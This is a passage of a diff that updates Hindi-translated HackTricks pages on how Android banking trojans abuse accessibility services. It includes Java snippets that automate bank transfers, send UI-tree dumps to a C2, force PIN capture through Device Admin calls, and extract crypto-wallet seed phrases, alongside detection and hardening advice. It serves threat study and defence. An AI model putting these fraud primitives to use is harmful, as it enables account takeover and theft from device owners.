+ऑपरेटर्स `check_limit` और `limit` जैसे कमांड के माध्यम से ट्रांसफर सीमाएँ भी चेक/बढ़ा सकते हैं, जो limits UI में समान रूप से नेविगेट करते हैं।
+
+### Crypto wallet seed extraction
+Targets जैसे MetaMask, Trust Wallet, Blockchain.com, Phantom। Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it। नेविगेशन को विभिन्न भाषाओं में स्थिर करने के लिए locale-aware selectors (EN/RU/CZ/SK) लागू करें।
+
+### Device Admin coercion
+Device Admin APIs का उपयोग PIN-capture के अवसर बढ़ाने और पीड़ित को परेशान करने के लिए किया जाता है:
+
+- तत्काल लॉक:
+```java
+dpm.lockNow();
+```
+- वर्तमान credential की अवधि समाप्त करें ताकि बदलने के लिए बाध्य किया जा सके (Accessibility नए PIN/password को कैप्चर करता है):
+```java
+dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
+```
+- keyguard बायोमेट्रिक सुविधाओं को अक्षम करके गैर-बायोमेट्रिक अनलॉक को मजबूर करें:
+```java
+dpm.setKeyguardDisabledFeatures(admin,
+DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
+DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
+```
+Note: Many DevicePolicyManager controls require Device Owner/Profile Owner on recent Android; some OEM builds may be lax. Always validate on target OS/OEM.
+
+### NFC रिले समन्वय (NFSkate)
+Stage-3 can install and launch an external NFC-relay module (e.g., NFSkate) and even hand it an HTML template to guide the victim during the relay. This enables contactless card-present cash-out alongside online ATS.
+
+Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
+
+### Operator command set (sample)
+- UI/state: `txt_screen`, `screen_live`, `display`, `record`
+- Social: `send_push`, `Facebook`, `WhatsApp`
+- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
+- Wallets: `metamask`, `trust`, `blockchain`, `phantom`
+- ATS: `transfer`, `check_limit`, `limit`
+- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
+- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
+- NFC: `nfs`, `nfs_inject`
+
+### Detection & defence ideas (RatOn-style)
+- WebViews में `addJavascriptInterface()` वाले पेजों की तलाश करें जो installer/permission methods को एक्सपोज़ करते हैं; ऐसे पेज जो “/access” पर समाप्त होते हैं और Accessibility prompts ट्रिगर करते हैं।
+- उन ऐप्स पर अलर्ट करें जो service access दिए जाने के तुरंत बाद high-rate Accessibility gestures/clicks जनरेट करते हैं; telemetry जो Accessibility node dumps जैसी दिखती है और C2 को भेजी जाती है।
+- अनट्रस्टेड ऐप्स में Device Admin policy बदलावों की निगरानी करें: `lockNow`, password expiration, keyguard feature toggles।
+- non-corporate apps से MediaProjection prompts पर और उसके बाद periodic frame uploads पर अलर्ट करें।
+- किसी ऐप द्वारा ट्रिगर किए गए external NFC-relay app की installation/launch का पता लगाएं।
+- बैंकिंग के लिए: out-of-band confirmations, biometrics-binding, और on-device automation के प्रति resistant transaction-limits लागू करें।
+
 ## संदर्भ
 
 - [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
 - [Luban – Android image compression library](https://github.com/Curzibn/Luban)
 - [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
 - [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
+- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
+- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
 
 {{#include ../../banners/hacktricks-training.md}}

src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md

@@ -2,23 +2,23 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Overview
+## अवलोकन
 
-`AccessibilityService` को विकलांगता वाले उपयोगकर्ताओं को Android उपकरणों के साथ बातचीत करने में मदद करने के लिए बनाया गया था। दुर्भाग्यवश, वही **शक्तिशाली ऑटोमेशन APIs** (वैश्विक नेविगेशन, पाठ इनपुट, इशारा वितरण, ओवरले विंडोज…) को मैलवेयर द्वारा हथियार बनाया जा सकता है ताकि _रूट विशेषाधिकारों के बिना_ हैंडसेट का **पूर्ण दूरस्थ नियंत्रण** प्राप्त किया जा सके।
+`AccessibilityService` को विकलांगताओं वाले उपयोगकर्ताओं को Android डिवाइस के साथ इंटरैक्ट करने में मदद करने के लिए बनाया गया था। दुर्भाग्य से, वही **powerful automation APIs** (global navigation, text input, gesture dispatch, overlay windows…) मालवेयर द्वारा हथियारबंद किए जा सकते हैं ताकि बिना रूट अनुमतियों के हैंडसेट पर **complete remote control** हासिल किया जा सके।
 
-आधुनिक Android बैंकिंग ट्रोजन और रिमोट-एक्सेस-ट्रोजन (RATs) जैसे **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** और कई अन्य इसी नुस्खे का पालन करते हैं:
+आधुनिक Android बैंकिंग ट्रोजन और Remote-Access-Trojans (RATs) जैसे **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** और कई अन्य समान नुस्खा अपनाते हैं:
 
-1. पीड़ित को एक धोखाधड़ी एक्सेसिबिलिटी सेवा को सक्षम करने के लिए सामाजिक-इंजीनियर करें ( *BIND_ACCESSIBILITY_SERVICE* अनुमति को "उच्च-जोखिम" माना जाता है और इसके लिए एक स्पष्ट उपयोगकर्ता क्रिया की आवश्यकता होती है)।
+1. Social-engineer कर के पीड़ित को एक rogue accessibility service सक्षम करने के लिए प्रेरित करना (the *BIND_ACCESSIBILITY_SERVICE* permission को "high-risk" माना जाता है और इसके लिए उपयोगकर्ता की स्पष्ट क्रिया आवश्यक होती है)।
-2. सेवा का लाभ उठाएं ताकि
+2. सेवा का उपयोग करके
-* स्क्रीन पर दिखाई देने वाले हर UI इवेंट और पाठ को कैप्चर करें,
+* स्क्रीन पर दिखाई देने वाले हर UI इवेंट और टेक्स्ट को कैप्चर करना,
-* किसी भी कार्य को स्वचालित करने के लिए कृत्रिम इशारों (`dispatchGesture`) और वैश्विक क्रियाओं (`performGlobalAction`) को इंजेक्ट करें,
+* सिंथेटिक gestures (`dispatchGesture`) और global actions (`performGlobalAction`) इंजेक्ट करके ऑपरेटर की इच्छित किसी भी कार्य को ऑटोमेट करना,
-* **TYPE_ACCESSIBILITY_OVERLAY** विंडो प्रकार का उपयोग करके वैध ऐप्स के शीर्ष पर पूर्ण-स्क्रीन ओवरले खींचें (कोई `SYSTEM_ALERT_WINDOW` प्रॉम्प्ट नहीं!),
+* वैध apps के ऊपर full-screen overlays खींचना **TYPE_ACCESSIBILITY_OVERLAY** window type का उपयोग करके (कोई `SYSTEM_ALERT_WINDOW` prompt नहीं!),
-* पीड़ित की ओर से सिस्टम डायलॉग पर क्लिक करके अतिरिक्त रनटाइम अनुमतियाँ चुपचाप प्रदान करें।
+* पीड़ित की ओर से सिस्टम डायलॉग्स पर क्लिक करके अतिरिक्त runtime permissions चुपके से_GRANTED_ करना।
-3. डेटा को एक्सफिल्ट्रेट करें या उपयोगकर्ता के सामान्य स्क्रीन को देखते समय वास्तविक समय में **On-Device-Fraud (ODF)** करें।
+3. डेटा को एक्सफिल्ट्रेट करना या उपयोगकर्ता एक बिल्कुल सामान्य स्क्रीन देख रहे होने के दौरान रीयल-टाइम में **On-Device-Fraud (ODF)** करना।
 
 ---
 
-## Requesting the permission
+## अनुमति का अनुरोध
 ```xml
 <!-- AndroidManifest.xml -->
 <service
@@ -34,7 +34,7 @@ android:exported="false">
 android:resource="@xml/evil_accessibility_config"/>
 </service>
 ```
-साथी XML यह परिभाषित करता है कि नकली संवाद कैसा दिखेगा:
+सहायक XML यह परिभाषित करता है कि नकली डायलॉग कैसा दिखेगा:
 ```xml
 <?xml version="1.0" encoding="utf-8"?>
 <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
@@ -47,7 +47,7 @@ android:canRetrieveWindowContent="true"/>
 ```
 ---
 
-## रिमोट UI स्वचालन प्राथमिकताएँ
+## दूरस्थ UI ऑटोमेशन मूलभूत तत्व
 ```java
 public class EvilService extends AccessibilityService {
 @Override
@@ -68,17 +68,17 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul
 }
 }
 ```
-इन दो APIs के साथ, एक हमलावर कर सकता है:
+केवल इन दो APIs के साथ एक हमलावर कर सकता है:
-* स्क्रीन को अनलॉक करें, बैंकिंग ऐप खोलें, इसके UI पेड़ में नेविगेट करें और एक ट्रांसफर फॉर्म सबमिट करें।
+* स्क्रीन अनलॉक करना, बैंकिंग ऐप खोलना, इसके UI tree में नेविगेट करना और एक ट्रांसफर फॉर्म सबमिट करना।
-* हर अनुमति संवाद को स्वीकार करें जो पॉप अप होता है।
+* उभरने वाली हर permission dialog को स्वीकार करना।
-* प्ले स्टोर इरादे के माध्यम से अतिरिक्त APKs स्थापित/अपडेट करें।
+* Play Store intent के माध्यम से अतिरिक्त APKs इंस्टॉल/अपडेट करना।
 
 ---
 
 ## दुरुपयोग पैटर्न
 
-### 1. ओवरले फ़िशिंग (क्रेडेंशियल हार्वेस्टिंग)
+### 1. Overlay Phishing (Credential Harvesting)
-एक पारदर्शी या अपारदर्शी `WebView` को विंडो प्रबंधक में जोड़ा जाता है:
+एक पारदर्शी या अपारदर्शी `WebView` विंडो मैनेजर में जोड़ा जाता है:
 ```java
 WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
 MATCH_PARENT, MATCH_PARENT,
@@ -87,59 +87,146 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real
 PixelFormat.TRANSLUCENT);
 wm.addView(phishingView, lp);
 ```
-The victim types credentials into the fake form while the background app receives the same gestures – कोई संदिग्ध "अन्य ऐप्स पर ड्रॉ करें" प्रॉम्प्ट कभी नहीं दिखाया जाता है।
+The victim fake फॉर्म में credentials टाइप करता है जबकि बैकग्राउंड app वही gestures रिसीव कर रहा होता है — कोई संदिग्ध "draw over other apps" prompt कभी दिखाई नहीं देता।
 
-> विस्तृत उदाहरण: *Accessibility Overlay Phishing* अनुभाग Tapjacking पृष्ठ के अंदर।
+> Detailed example: the *Accessibility Overlay Phishing* section inside the Tapjacking page.
 
-### 2. ऑन-डिवाइस धोखाधड़ी स्वचालन
+### 2. On-Device Fraud automation
-**PlayPraetor** जैसे मैलवेयर परिवार एक स्थायी WebSocket चैनल बनाए रखते हैं जहां ऑपरेटर उच्च-स्तरीय आदेश जारी कर सकता है (`init`, `update`, `alert_arr`, `report_list`, …)। यह सेवा उन आदेशों को ऊपर दिए गए निम्न-स्तरीय इशारों में अनुवादित करती है, जिससे वास्तविक समय में अनधिकृत लेनदेन होते हैं जो उस विशेष डिवाइस से जुड़े मल्टी-फैक्टर-प्रमाणीकरण को आसानी से बायपास कर देते हैं।
+Malware families such as **PlayPraetor** एक persistent WebSocket चैनल बनाए रखते हैं जहाँ operator high-level commands (`init`, `update`, `alert_arr`, `report_list`, …) जारी कर सकता है। यह सर्विस उन commands को ऊपर बताए low-level gestures में ट्रांसलेट करती है, जिससे real-time unauthorized transactions संभव होते हैं जो उस डिवाइस से जुड़ी multi-factor-authentication को आसानी से bypass कर लेते हैं।
 
-### 3. स्क्रीन स्ट्रीमिंग और निगरानी
+### 3. Screen streaming & monitoring
-**MediaProjection API** को RTMP क्लाइंट लाइब्रेरी के साथ मिलाकर, RAT लाइव फ्रेमबफर को `rtmp://<c2>:1935/live/<device_id>` पर प्रसारित कर सकता है, जिससे प्रतिकूल पक्ष को पूर्ण स्थिति जागरूकता मिलती है जबकि Accessibility इंजन UI को संचालित करता है।
+By combining the **MediaProjection API** with an RTMP client library, the RAT live framebuffer को `rtmp://<c2>:1935/live/<device_id>` पर ब्रॉडकास्ट कर सकता है, जिससे adversary को perfect situational awareness मिलती है जबकि Accessibility engine UI ड्राइव करती है।
 
 ---
 
-## PlayPraetor – कमांड और नियंत्रण कार्यप्रवाह
+## PlayPraetor – command & control workflow
 
-1. **HTTP(S) हार्टबीट** – एक हार्ड-कोडेड सूची पर दोहराएं जब तक एक डोमेन `POST /app/searchPackageName` के साथ सक्रिय C2 का उत्तर नहीं देता।
+1. **HTTP(S) heartbeat** – hard-coded list पर iterate करें जब तक कोई domain `POST /app/searchPackageName` के साथ active C2 बताकर जवाब न दे।
-2. **WebSocket (पोर्ट 8282)** – द्विदिशात्मक JSON आदेश:
+2. **WebSocket (port 8282)** – द्वि-मार्गी JSON commands:
 * `update` – नए conf/APKs पुश करें
-* `alert_arr` – ओवरले टेम्पलेट्स कॉन्फ़िगर करें
+* `alert_arr` – overlay templates कॉन्फ़िगर करें
-* `report_list` – लक्षित पैकेज नामों की सूची भेजें
+* `report_list` – targeted package names की सूची भेजें
-* `heartbeat_web` – जीवित रखें
+* `heartbeat_web` – keep-alive
-3. **RTMP (पोर्ट 1935)** – लाइव स्क्रीन/वीडियो स्ट्रीमिंग।
+3. **RTMP (port 1935)** – लाइव स्क्रीन/वीडियो स्ट्रीमिंग।
-4. **REST एक्सफिल्ट्रेशन** –
+4. **REST exfiltration** –
-* `/app/saveDevice` (फिंगरप्रिंट)
+* `/app/saveDevice` (fingerprint)
 * `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
-* `/app/saveCardPwd` (बैंक क्रेड्स)
+* `/app/saveCardPwd` (bank creds)
 
-**AccessibilityService** वह स्थानीय इंजन है जो उन क्लाउड आदेशों को भौतिक इंटरैक्शन में बदलता है।
+The **AccessibilityService** वह लोकल इंजन है जो उन क्लाउड commands को physical interactions में बदलता है।
 
 ---
 
-## दुर्भावनापूर्ण एक्सेसिबिलिटी सेवाओं का पता लगाना
+## Detecting malicious accessibility services
 
 * `adb shell settings get secure enabled_accessibility_services`
-* सेटिंग्स → एक्सेसिबिलिटी → *डाउनलोड की गई सेवाएं* – उन ऐप्स की तलाश करें जो **Google Play** से **नहीं** हैं।
+* Settings → Accessibility → *Downloaded services* – उन apps की तलाश करें जो Google Play से **नहीं** हैं।
-* MDM / EMM समाधान `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) को लागू कर सकते हैं ताकि साइडलोडेड सेवाओं को ब्लॉक किया जा सके।
+* MDM / EMM solutions `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) लागू कर सकते हैं ताकि sideloaded services ब्लॉक हो सकें।
-* चल रही सेवाओं का विश्लेषण करें:
+* चल रही सर्विसेज़ का विश्लेषण करें:
 ```bash
 adb shell dumpsys accessibility | grep "Accessibility Service"
 ```
 
 ---
 
-## ऐप डेवलपर्स के लिए हार्डनिंग सिफारिशें
+## Hardening recommendations for app developers
 
-* संवेदनशील दृश्य को `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+) के साथ चिह्नित करें।
+* संवेदनशील views को `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+) के साथ मार्क करें।
-* टैप/ओवरले हाईजैकिंग को रोकने के लिए `setFilterTouchesWhenObscured(true)` को `FLAG_SECURE` के साथ मिलाएं।
+* `setFilterTouchesWhenObscured(true)` को `FLAG_SECURE` के साथ मिलाएँ ताकि tap/overlay hijacking रोका जा सके।
-* `WindowManager.getDefaultDisplay().getFlags()` या `ViewRootImpl` API द्वारा ओवरले का पता लगाएं।
+* ओवरले का पता लगाने के लिए `WindowManager.getDefaultDisplay().getFlags()` या `ViewRootImpl` API को पोल करें।
-* जब `Settings.canDrawOverlays()` **या** एक गैर-विश्वसनीय Accessibility सेवा सक्रिय हो, तो संचालन करने से इनकार करें।
+* तब ऑपरेट करने से इनकार करें जब `Settings.canDrawOverlays()` **या** कोई गैर-विश्वसनीय Accessibility service सक्रिय हो।
 
 ---
 
-## संदर्भ
+## ATS automation cheat-sheet (Accessibility-driven)
+Malware केवल Accessibility APIs के साथ एक bank app को पूरी तरह ऑटोमेट कर सकता है। Generic primitives:
+```java
+// Helpers inside your AccessibilityService
+private List<AccessibilityNodeInfo> byText(String t){
+AccessibilityNodeInfo r = getRootInActiveWindow();
+return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
+}
+private boolean clickText(String t){
+for (AccessibilityNodeInfo n: byText(t)){
+if (n.isClickable()) return n.performAction(ACTION_CLICK);
+AccessibilityNodeInfo p = n.getParent();
+if (p != null) return p.performAction(ACTION_CLICK);
+}
+return false;
+}
+private void inputText(AccessibilityNodeInfo field, String text){
+Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
+field.performAction(ACTION_SET_TEXT, b);
+}
+private void tap(float x, float y){
+Path p = new Path(); p.moveTo(x,y);
+dispatchGesture(new GestureDescription.Builder()
+.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
+}
+```
+उदाहरण प्रवाह (Czech → English लेबल):
+- "Nová platba" (नया भुगतान) → क्लिक करें
+- "Zadat platbu" (भुगतान दर्ज करें) → क्लिक करें
+- "Nový příjemce" (नया प्राप्तकर्ता) → क्लिक करें
+- "Domácí číslo účtu" (घरेलू खाता संख्या) → फ़ोकस करें और `ACTION_SET_TEXT`
+- "Další" (अगला) → क्लिक करें → … "Zaplatit" (भुगतान) → क्लिक करें → PIN दर्ज करें
+
+Fallback: कस्टम widgets के कारण text lookup विफल होने पर hard-coded coordinates के साथ `dispatchGesture` का उपयोग।
+
+दिखा गया: ट्रांसफर से पहले limits UI पर जाकर दैनिक लिमिट बढ़ाने के लिए `check_limit` और `limit` के प्री-स्टेप्स।
+
+## Text-based pseudo-screen streaming
+कम-लेटेंसी रिमोट कंट्रोल के लिए, पूर्ण वीडियो स्ट्रीमिंग की बजाय, वर्तमान UI tree का टेक्स्टुअल प्रतिनिधित्व डंप करें और इसे बार-बार C2 पर भेजें।
+```java
+private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
+if (n==null) return;
+Rect b = new Rect(); n.getBoundsInScreen(b);
+CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
+sb.append(indent).append("[").append(cls).append("] ")
+.append(txt==null?"":txt).append(" ")
+.append(b.toShortString()).append("\n");
+for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
+}
+```
+यह `txt_screen` (एक-बार) और `screen_live` (लगातार) जैसे कमांड्स का आधार है।
+
+## Device Admin जबरन नियंत्रण की मूल क्रियाएँ
+एक बार Device Admin receiver सक्रिय हो जाने पर, ये कॉल्स credentials capture करने और नियंत्रण बनाए रखने के अवसर बढ़ा देती हैं:
+```java
+DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
+ComponentName admin = new ComponentName(this, AdminReceiver.class);
+
+// 1) Immediate lock
+dpm.lockNow();
+
+// 2) Force credential change (expire current PIN/password)
+dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
+
+// 3) Disable biometric unlock to force PIN/pattern entry
+int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
+DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
+dpm.setKeyguardDisabledFeatures(admin, flags);
+```
+नोट: इन नीतियों की सटीक उपलब्धता Android version और OEM के अनुसार भिन्न होती है; परीक्षण के दौरान device policy role (admin vs owner) को सत्यापित करें।
+
+## Crypto wallet seed-phrase extraction patterns
+MetaMask, Trust Wallet, Blockchain.com और Phantom के लिए देखे गए फ्लो:
+- चोरी किए गए PIN (captured via overlay/Accessibility) या प्रदान किए गए wallet password से अनलॉक करें।
+- नेविगेट: Settings → Security/Recovery → Reveal/Show recovery phrase.
+- टेक्स्ट नोड्स की keylogging, secure-screen bypass, या जब टेक्स्ट छिपा हो तो screenshot OCR के माध्यम से phrase को इकट्ठा करें।
+- selectors को स्थिर करने के लिए multiple locales (EN/RU/CZ/SK) का सपोर्ट — उपलब्ध होने पर `viewIdResourceName` पसंद करें, नहीं तो multilingual text matching पर fallback करें।
+
+## NFC-relay orchestration
+Accessibility/RAT modules तीसरे स्टेज के रूप में एक dedicated NFC-relay app (e.g., NFSkate) इंस्टॉल और लॉन्च कर सकते हैं और victim को card-present relay steps के माध्यम से मार्गदर्शन करने के लिए एक overlay guide भी inject कर सकते हैं।
+
+पृष्ठभूमि और TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
+
+---
+
+## References
 * [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
 * [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
+* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
+* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
 
 {{#include ../../banners/hacktricks-training.md}}